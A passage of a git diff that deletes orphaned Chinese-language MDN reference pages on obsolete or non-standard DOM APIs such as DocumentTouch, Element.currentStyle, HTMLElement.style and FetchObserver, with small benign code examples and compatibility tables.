a/files/zh-cn/orphaned/web/api/documenttouch/index.html b/files/zh-cn/orphaned/web/api/documenttouch/index.html deleted file mode 100644 index 9dd10a6ba5..0000000000 --- a/files/zh-cn/orphaned/web/api/documenttouch/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: DocumentTouch -slug: orphaned/Web/API/DocumentTouch -translation_of: Web/API/DocumentTouch -original_slug: Web/API/DocumentTouch ---- -<p>{{ ApiRef("DOM") }}</p> - -<p>{{ obsolete_header(25) }}</p> - -<p><strong style="font-size: 12px; line-height: 18px; background-color: rgba(230, 96, 0, 0.45098);">从Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)开始被废弃</strong></p> - -<p><span style="font-size: 12px; line-height: 18px; background-color: rgba(230, 96, 0, 0.45098);">本特性已经被废弃,虽然它仍然可以在一些浏览器中工作,它随时都可能被移除,我们不鼓励使用它,你应尽量避免使用它。</span></p> - -<p><code>DocumentTouch</code> 接口提供了一个便利的方法来创建 {{ domxref("Touch") }} 和 {{ domxref("TouchList") }} 对象, 可是它将被移除。 但这个方法将会继续在{{domxref("Document")}} 接口中存在.</p> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{ domxref("DocumentTouch.createTouch()") }}</dt> - <dd>创建一个新的 {{ domxref("Touch") }} 对象.</dd> - <dt>{{ domxref("DocumentTouch.createTouchList()") }}</dt> - <dd>创建一个新的 {{ domxref("TouchList") }} 对象.</dd> -</dl> - -<h2 id="更多">更多</h2> - -<ul> - <li><a href="/en/DOM/Touch_events" title="en/DOM/Touch events">Touch events</a></li> - <li>{{ domxref("Touch") }}</li> - <li>{{ domxref("TouchList") }}</li> - <li>{{ domxref("TouchEvent") }}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/domlocator/index.html b/files/zh-cn/orphaned/web/api/domlocator/index.html deleted file mode 100644 index 36266f2b67..0000000000 --- a/files/zh-cn/orphaned/web/api/domlocator/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: DOMLocator -slug: orphaned/Web/API/DOMLocator -translation_of: Web/API/DOMLocator -original_slug: Web/API/DOMLocator ---- -<p>{{APIRef("DOM")}}{{obsolete_header}}</p> - -<div class="warning"> -<p>NOTE: This is not implemented in Mozilla</p> -</div> - -<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> - <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> - <dd>Returns a positiove integer or -1.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>This interface neither implements, nor inherits, any method.</em></p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html b/files/zh-cn/orphaned/web/api/element/currentstyle/index.html deleted file mode 100644 index c2f23d78b4..0000000000 --- a/files/zh-cn/orphaned/web/api/element/currentstyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.currentStyle -slug: orphaned/Web/API/Element/currentStyle -translation_of: Web/API/Element/currentStyle -original_slug: Web/API/Element/currentStyle ---- -<div>{{APIRef("DOM")}}</div> - -<p>{{ Non-standard_header() }}</p> - -<h2 id="概述">概述</h2> - -<p><strong><code>Element.currentStyle</code></strong> 是一个与 {{domxref("window.getComputedStyle")}}方法功能相同的属性。这个属性实现在旧版本的IE浏览器中.</p> - -<h2 id="规范">规范</h2> - -<p>没有相关规范。</p> - -<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">在MSDN中对该属性进行了描述</a>.</p> - -<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Microsoft Edge</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>6</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("Element.runtimeStyle")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html b/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html deleted file mode 100644 index 80aca7048a..0000000000 --- a/files/zh-cn/orphaned/web/api/element/runtimestyle/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Element.runtimeStyle -slug: orphaned/Web/API/Element/runtimeStyle -translation_of: Web/API/Element/runtimeStyle -original_slug: Web/API/Element/runtimeStyle ---- -<div>{{APIRef("DOM")}}</div> - -<p>{{ Non-standard_header() }}</p> - -<h2 id="概要">概要</h2> - -<p><span class="seoSummary"><strong><code>Element.runtimeStyle</code> </strong>是一个元素专有属性,和 {{domxref("HTMLElement.style")}} 相似,除了其中的样式属性外<strong>,</strong>{{domxref("HTMLElement.style")}} 具有更高的优先级和修改能力。<strong><code>runtimeStyle</code> </strong></span>不能修改 <code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code> 中的<code>content</code>属性,其<span class="seoSummary">在旧版的IE浏览器上可用。</span></p> - -<h2 id="规范">规范</h2> - -<p>不属于任何规范的一部分。</p> - -<p>微软对此有一篇<a href="https://msdn.microsoft.com/en-us/library/ms535889(v=vs.85).aspx">描述文档</a> <a href="https://msdn.microsoft.com/en-us/library/ms535889(v=vs.85).aspx">has a description on MSDN</a>.</p> - -<h2 id="Browser_Compatibility" name="Browser_Compatibility">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>特性</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Microsoft Edge</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>6</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatUnknown() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("Element.currentStyle")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html deleted file mode 100644 index fae28c710d..0000000000 --- a/files/zh-cn/orphaned/web/api/elementcssinlinestyle/style/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: HTMLElement.style -slug: orphaned/Web/API/ElementCSSInlineStyle/style -translation_of: Web/API/ElementCSSInlineStyle/style -original_slug: Web/API/ElementCSSInlineStyle/style ---- -<div>{{ APIRef("HTML DOM") }}</div> - -<p><code><strong>HTMLElement.style</strong></code> 属性返回一个 <a href="/zh-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> 对象,表示元素的 内联<a href="/zh-CN/docs/Web/HTML/Global_attributes#style"><code>style</code> 属性(attribute)</a>,但忽略任何样式表应用的属性。 通过 <code>style</code> 可以访问的 CSS 属性列表,可以查看 <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a>。</p> - -<p>由于 <code>style</code> 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。</p> - -<h3 id="设置_style_属性">设置 <code>style</code> 属性</h3> - -<p>注意<strong>不能</strong>通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的<code><a href="https://developer.mozilla.org/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration">CSSStyleDeclaration</a>对象是只读的。但是style属性本身的属性<strong>能</strong>够用来设置样式。此外,通过单独的样式属性(如</code>elt.style.color = '...'<code>)比用</code>elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。</p> - -<h2 id="例子">例子</h2> - -<pre class="brush:js">// 在单个语句中设置多个样式 -elt.style.cssText = "color: blue; border: 1px solid black"; -// 或者 -elt.setAttribute("style", "color:red; border: 1px solid blue;"); - -// 设置特定样式,同时保持其他内联样式值不变 -elt.style.color = "blue"; -</pre> - -<h3 id="获取元素样式信息">获取元素样式信息</h3> - -<p>通常,要了解元素样式的信息,仅仅使用 <code>style</code> 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。</p> - -<pre class="brush: html"><!DOCTYPE HTML> -<html> -<body style="font-weight:bold;"> - - <div style="color:red" id="myElement">..</div> - - </body> -</html></pre> - -<p>下面的代码输出 style 所有属性的名字,以及为元素 <code>elt</code> 显式设置的属性值和继承的计算值(computed value):</p> - -<pre class="brush: js">var element = document.getElementById("myElement"); -var out = ""; -var elementStyle = element.style; -var computedStyle = window.getComputedStyle(element, null); - -for (prop in elementStyle) { - if (elementStyle.hasOwnProperty(prop)) { - out += " " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n"; - } -} -console.log(out)</pre> - -<p>输出结果如下:</p> - -<pre>... -fontWeight = '' > 'bold' -color = 'red' > 'rgb(255, 0, 0)' -... -</pre> - -<p>请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值</p> - -<h2 id="Specification" name="Specification">规范</h2> - -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p> - -<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p> - -<h2 id="兼容性">兼容性</h2> - - - -<p>{{Compat("api.HTMLElement.style")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/entity/index.html b/files/zh-cn/orphaned/web/api/entity/index.html deleted file mode 100644 index bcece696c5..0000000000 --- a/files/zh-cn/orphaned/web/api/entity/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Entity -slug: orphaned/Web/API/Entity -translation_of: Web/API/Entity -original_slug: Web/API/Entity ---- -<p>{{APIRef("DOM")}} {{draft}} {{obsolete_header}}</p> - -<p>对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Entity.publicId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.systemId")}} {{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.notationName")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}</dt> - <dd>Is a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th>Specification</th> - <th>Status</th> - <th>Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td><code>inputEncoding</code>, <code>xmlEncoding</code>, and <code>xmlVersion</code> were added</td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/fetchobserver/index.html b/files/zh-cn/orphaned/web/api/fetchobserver/index.html deleted file mode 100644 index aa930a2e4a..0000000000 --- a/files/zh-cn/orphaned/web/api/fetchobserver/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: FetchObserver -slug: orphaned/Web/API/FetchObserver -translation_of: Web/API/FetchObserver -original_slug: Web/API/FetchObserver ---- -<div>{{draft}}{{APIRef("Fetch API")}}{{SeeCompatTable}}</div> - -<p><font><font>在</font></font><strong><code>FetchObserver</code></strong><font><font>接口</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"><font><font>提取API</font></font></a><font><font>表示观察者对象,它允许您检索关于为获取请求的状态信息。</font></font></p> - -<h2 id="Properties">Properties</h2> - -<p><em><font><font>FetchObserver接口从其父接口继承属性</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget" title="EventTarget是一个由可以接收事件的对象实现的接口,并且可以为它们提供监听器。"><code>EventTarget</code></a><font><font>。</font></font></em></p> - -<dl> - <dt>{{domxref("FetchObserver.state")}} {{readonlyInline}}</dt> - <dd>Returns a <code>FetchState</code> enum value indicating the current state of the fetch request.</dd> -</dl> - -<h3 id="Event_handlers">Event handlers</h3> - -<dl> - <dt>{{domxref("FetchObserver.onstatechange")}}</dt> - <dd>Invoked when a {{event("statechange_(cancellable_fetch)", "statechange")}} event fires, i.e. when the state of the fetch request changes.</dd> - <dt>{{domxref("FetchObserver.onrequestprogress")}}</dt> - <dd>Invoked when a {{event("requestprogress")}} event fires, i.e. when the request progresses.</dd> - <dt>{{domxref("FetchObserver.onresponseprogress")}}</dt> - <dd>Invoked when a {{event("responseprogress")}} event fires, i.e. when the download of the response progresses.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The FetchSignal interface inherits methods from its parent interface, {{domxref("EventTarget")}}.</em></p> - -<h2 id="Examples">Examples</h2> - -<p>In the following snippet, we create a new {{domxref("FetchController")}} object, get its <code>signal</code>, and then give the signal to the <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch request</a> via the signal parameter of its <code>init</code> object so the controller can control it. Later on we specify an event listener on a cancel button so that when the button is clicked, we abort the fetch request using {{domxref("FetchController.abort()")}}.</p> - -<p>We also specify an observe property inside the fetch request <code>init</code> object — this contains a {{domxref("ObserverCallback")}} object, the sole purpose of which is to provide a callback function that runs when the fetch request runs. This returns a {{domxref("FetchObserver")}} object that can be used to retrieve information concerning the status of a fetch request.</p> - -<p>Here we use {{domxref("FetchController.responseprogress")}} and {{domxref("FetchController.onstatechange")}} event handlers to respectively fill up a progress bar as more of the reponse downloads, and to determine when the download has completed and display a message to let the user know.</p> - -<p><strong>Note that these event handlers are not yet supported anywhere.</strong></p> - -<pre class="brush: js">var controller = new FetchController(); -var signal = controller.signal; - -downloadBtn.addEventListener('click', function() { - fetch(url, { - signal, - observe(observer) { - observer.onresponseprogress = function(e) { - progress.max = e.total; - progress.value = e.loaded; - } - - observer.onstatechange = function() { - if (observer.state = 'complete') { - reports.textContent = 'Download complete'; - } - } - } - }).then( ... ) // do something with the response -}); - -cancelBtn.addEventListener('click', function() { - controller.abort(); -});</pre> - -<p>You can find a work-in-progress demo showing usage of <code>FetchObserver</code> on GitHub (see the <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-signal-controller-observer">source code</a> and the <a href="https://mdn.github.io/fetch-examples/fetch-signal-controller-observer/">live example</a>).</p> - -<h2 id="Specifications">Specifications</h2> - -<p>Not part of a specification yet.</p> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatNo}}</p> - </td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td> - <p>{{CompatNo}}</p> - </td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Hidden behind a preference in 55+ Nightly. In about:config, you need to create two new boolean prefs — <code>dom.fetchObserver.enabled</code> and <code>dom.fetchController.enabled</code> — and set the values of both to <code>true</code>.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html b/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html deleted file mode 100644 index c3328c99b2..0000000000 --- a/files/zh-cn/orphaned/web/api/fullscreenoptions/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: FullscreenOptions -slug: orphaned/Web/API/FullscreenOptions -translation_of: Web/API/FullscreenOptions -original_slug: Web/API/FullscreenOptions ---- -<p>{{APIRef("Fullscreen API")}}</p> - -<p><span class="seoSummary">当调用{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}} 元素以将该元素置于全屏模式时,使用 <strong><code>FullscreenOptions</code></strong> 字典提供配置选项。</span></p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{DOMxRef("FullscreenOptions.navigationUI", "navigationUI")}}{{Optional_Inline}}</dt> - <dd>在元素处于全屏模式时,控制是否保持浏览器用户界面元素可见的字符串。默认的<code>“auto”</code>让浏览器做出这个决定。</dd> -</dl> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.FullscreenOptions")}}</p> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> - <li><a href="/en-US/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a></li> - <li>{{DOMxRef("Element.requestFullscreen()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html deleted file mode 100644 index cde999ef48..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlelement/forcespellcheck/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: HTMLElement.forceSpellCheck() -slug: orphaned/Web/API/HTMLElement/forceSpellCheck -translation_of: Web/API/HTMLElement/forceSpellCheck -original_slug: Web/API/HTMLElement/forceSpellCheck ---- -<p>{{ APIRef("HTML DOM") }}{{SeeCompatTable}}</p> - -<p>强制对HTML元素进行拼写和语法检查,即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面,例如是否出现红色下划线,由浏览器确定。</p> - -<h2 id="Syntax" name="Syntax">Syntax</h2> - -<pre class="syntaxbox">element.forceSpellCheck()</pre> - -<h2 id="Specification" name="Specification">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}</td> - <td>{{Spec2('HTML5.1')}}</td> - <td>First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See Also" name="See Also">See Also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Controlling_spell_checking_in_HTML_formsControlling_spell_checking_in_HTML_forms">Controlling spell checking in HTML forms</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html deleted file mode 100644 index 399a1398da..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlhyperlinkelementutils/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: URLUtils -slug: orphaned/Web/API/HTMLHyperlinkElementUtils -translation_of: Web/API/HTMLHyperlinkElementUtils -original_slug: Web/API/HTMLHyperlinkElementUtils ---- -<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p> - -<p>The <strong><code>HTMLHyperlinkElementUtils</code></strong> mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.</p> - -<p>There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.</p> - -<h2 id="属性">属性</h2> - -<div class="note"> -<p><strong>注意:</strong>This interface doesn't inherit any property.</p> -</div> - -<dl> - <dt>{{domxref("HTMLHyperlinkElementUtils.href")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the whole URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.protocol")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.host")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.hostname")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the domain of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.port")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the port number of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.pathname")}}</dt> - <dd>This is a {{domxref("USVString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.search")}}</dt> - <dd>This is a {{domxref("USVString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.hash")}}</dt> - <dd>This is a {{domxref("USVString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.username")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the username specified before the domain name.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.password")}}</dt> - <dd>This is a {{domxref("USVString")}} containing the password specified before the domain name.</dd> - <dt>{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}</dt> - <dd>This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).</dd> -</dl> - -<h2 id="方法">方法</h2> - -<div class="note"> -<p><strong>注意:</strong>This interface doesn't inherit any method.</p> -</div> - -<dl> - <dt>{{domxref("HTMLHyperlinkElementUtils.toString()")}}</dt> - <dd>This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.HTMLHyperlinkElementUtils")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>Interfaces implementing this one: {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html deleted file mode 100644 index 98efb73c06..0000000000 --- a/files/zh-cn/orphaned/web/api/htmlorforeignelement/blur/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: HTMLElement.blur() -slug: orphaned/Web/API/HTMLOrForeignElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur -original_slug: Web/API/HTMLOrForeignElement/blur ---- -<p>{{ APIRef() }}</p> -<h3 id="Summary" name="Summary">概述</h3> -<p><strong>blur</strong>方法用来移除当前元素所获得的键盘焦点.</p> -<h3 id="Syntax" name="Syntax">语法</h3> -<pre class="eval">element.blur() -</pre> -<h3 id="Specification" name="Specification">规范</h3> -<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-28216144">blur</a></p> -<h3 id="相关链接">相关链接</h3> -<ul> - <li><a href="/zh-cn/DOM/element.focus" title="zh-cn/DOM/element.focus">DOM element focus</a></li> -</ul> -<p>{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/htmlorforeignelement/dataset/index.html 